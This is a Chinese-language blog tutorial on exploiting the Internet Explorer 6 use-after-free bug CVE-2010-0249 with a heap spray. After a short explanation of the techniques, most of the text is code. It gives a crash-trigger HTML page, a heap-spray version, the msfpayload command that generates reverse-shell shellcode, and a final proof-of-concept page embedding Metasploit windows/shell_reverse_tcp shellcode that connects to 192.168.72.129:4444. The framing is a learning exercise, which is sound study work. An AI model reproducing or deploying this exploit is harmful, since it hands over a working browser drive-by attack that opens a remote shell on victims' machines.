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Heap Spray Exploit : CVE-2010-0249 Use After Free 初探

2014-01-07 23:11 567 查看

1.    基础知识

Ø Heap spray（堆喷射）

堆喷射是一种payload 传递技术，借助堆来将shellcode放置在可预测的堆地址上，然后稳定地跳入shellcode。为了实现heap spray，你需要在劫持EIP前，能够分配并填充堆内存块。意思是指在触发内存崩溃之前，你必须能够在目标程序中可分配可控内存数据。浏览器已经为此提供了一种很简单的方法，它能够支持脚本，可直接借助javascript或者vbscript 在触发漏洞前分配内存。堆喷射的运用并不局限于浏览器，例如你可以在Adobe
Reader 中使用Javascript 或者Actionscript 将shellcode放置在可预测的堆地址上。总结为以下三点：

1)        喷射堆块

2)        触发漏洞

3)        控制EIP并使其指向堆中

Ø Use after free

简单的说就是在释放内存后对其进行引用会导致程序崩溃。希望通过今天的实例，来搞懂这个知识点。

2. 触发代码

<html>
<script>

// Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
Array1[i] = document.createElement("COMMENT");
Array1[i].data = "AAA";
}

var Element1 = null;

// Function is called by the onload event of the IMG tag below
// Creates and deletes object, calls the function to overwrite memory
function FRemove(Value1)
{
Element1 = document.createEventObject(Value1); // 创建IMG标签对象
document.getElementById("SpanID").innerHTML = ""; // 设置父标签为空，从而触发heap free
window.setInterval(FOverwrite, 50); // 调用重写模块，每50秒一次
}

// Function attempts to overwrite heap memory of deleted object and then access object to trigger crash
function FOverwrite()
{
buffer = "\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA";
for (i = 0; i < Array1.length; i++)
{
Array1[i].data = buffer; // 向buffer中写入字符串，尝试重写以删除了的标签的堆内存
}
var a = Element1.srcElement; // 调用指向删除了节点的指针，触发crash
}

</script>

<body>
<span id="SpanID"><IMG src="./abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>

当IE加载页面时，首先会创建200个comment标签，并且设置值为“AAA”（这里的AAA你可以换成任意值，因为在后面我们要覆盖它，去触发异常）。之后当加载abcd.gif时，调用FRemove函数。

FRemove函数首先创建了IMG标签对象，之后设置其SpanID的父标签为空，而导致了父标签释放。并且每50秒重新运行一次FOvewrite。这个父标签的释放导致了use-after-free漏洞的出现。而FOverwriter函数，将comment的值改变。然后通过Element1.srcElement引用父标签，导致指针异常。

用windbg附加IE6，查看结果，出现异常。

程序在mov eax，dword ptr [ecx] 时，访问越界。程序是要将ecx所指向的内存，移入一个DWORD大小的值给eax，但是由于ecx的值为aaaaaaaa，指向的是非法的内存地址，因此，导致程序异常。

035a2531 8b01 mov eax,dword ptr [ecx]

035a2533 ff5034 call dword ptr [eax+34h]

035a2536 8b400c mov eax,dword ptr [eax+0Ch]

035a2539 c3 ret

如果我们想从这里直接利用，call dword ptr [eax+34h] 给了我们很大的便处。

简单的前两句汇编代码可以这么理解

call *(*(ecx)+0x34)

所以我们开始heap spray，目的是在堆空间中，构造nops+shellcode。

这里的nops不仅仅指的是9090 而是指的那些对程序执行无关紧要的指令。

<html>
<script>

var shellcode = unescape('%ucccc%ucccc');
var bigblock = unescape('%u0c0c%u0c0c');

var headersize = 20;
var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace)
bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x50000)
block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 500; i++)
{
memory[i] = block + shellcode
}

// Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
Array1[i] = document.createElement("COMMENT");
Array1[i].data = "AAA";
}

alert("begin");

var Element1 = null;

// Function is called by the onload event of the IMG tag below
// Creates and deletes object, calls the function to overwrite memory
function FRemove(Value1)
{

Element1 = document.createEventObject(Value1); // Create the object of the IMG tag
document.getElementById("SpanID").innerHTML = ""; // Set parent object to null to trigger heap free()
window.setInterval(FOverwrite, 50); // Call the overwrite function every 50 ms
}

// Function attempts to overwrite heap memory of deleted object and then access object to trigger crash
function FOverwrite()
{
buffer = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c");
for (i = 0; i < Array1.length; i++)
{
Array1[i].data = buffer; // Set comment data to buffer, try to overwrite heap memory of deleted object
}
var a = Element1.srcElement; // Access the pointer to the deleted object, trigger crash
}

</script>

<body>
<span id="SpanID"><IMG src="./abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>

为什么要选择0x0c0c0c0c作为nops和跳转的指令和地址，我们反编译0x0c0c0c0c所代表的指令，

反汇编之后，0x0c0c指令为 or al, 0ch 不影响cpu的执行。

这里有个麻烦的是申请堆块的大小，如果堆块太小，0x0c0c0c0c对应的是无效的地址。

如果申请的大小过大，将使整个电脑的运行速度变慢。所以，0x50000值你可以根据自己的系统设定。

我们最后用msf 生成payload：

root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.72.129 LPORT=4444 J
// windows/shell_reverse_tcp - 314 bytes
// http://www.metasploit.com // VERBOSE=false, LHOST=192.168.72.129, LPORT=4444,
// ReverseConnectRetries=5, ReverseAllowProxy=false,
// EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u8148%u0268%u1100%u895c%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff

所以最终的poc：

<html>
<script>

function heapspray()
{
var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u8148%u0268%u1100%u895c%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff');
var bigblock = unescape('%u0c0c%u0c0c');

var headersize = 20;
var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace)
bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x50000)
block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 500; i++)
{
memory[i] = block + shellcode
}

}
// Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
Array1[i] = document.createElement("COMMENT");
Array1[i].data = "AAA";
}

//alert("begin");

var Element1 = null;

// Function is called by the onload event of the IMG tag below
// Creates and deletes object, calls the function to overwrite memory
function FRemove(Value1)
{
heapspray();
Element1 = document.createEventObject(Value1); // Create the object of the IMG tag
document.getElementById("SpanID").innerHTML = ""; // Set parent object to null to trigger heap free()
window.setInterval(FOverwrite, 50); // Call the overwrite function every 50 ms
}

// Function attempts to overwrite heap memory of deleted object and then access object to trigger crash
function FOverwrite()
{
buffer = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c");
for (i = 0; i < Array1.length; i++)
{
Array1[i].data = buffer; // Set comment data to buffer, try to overwrite heap memory of deleted object
}
var a = Element1.srcElement; // Access the pointer to the deleted object, trigger crash
}

</script>

<body>
<span id="SpanID"><IMG src="./abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>

这里有个问题，就是由于是打开本地文件，所以，浏览器有缓存，因此我们的heapspray会失败，因此我们需要清除缓存。

最终我们的实验结果：

谢谢，可能有很多没讲清楚的地方，欢迎和大家一起交流，一起提高

参考：

http://www.thegreycorner.com/2010/01/heap-spray-exploit-tutorial-internet.html

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标签： windows xp use after free ie heap spray

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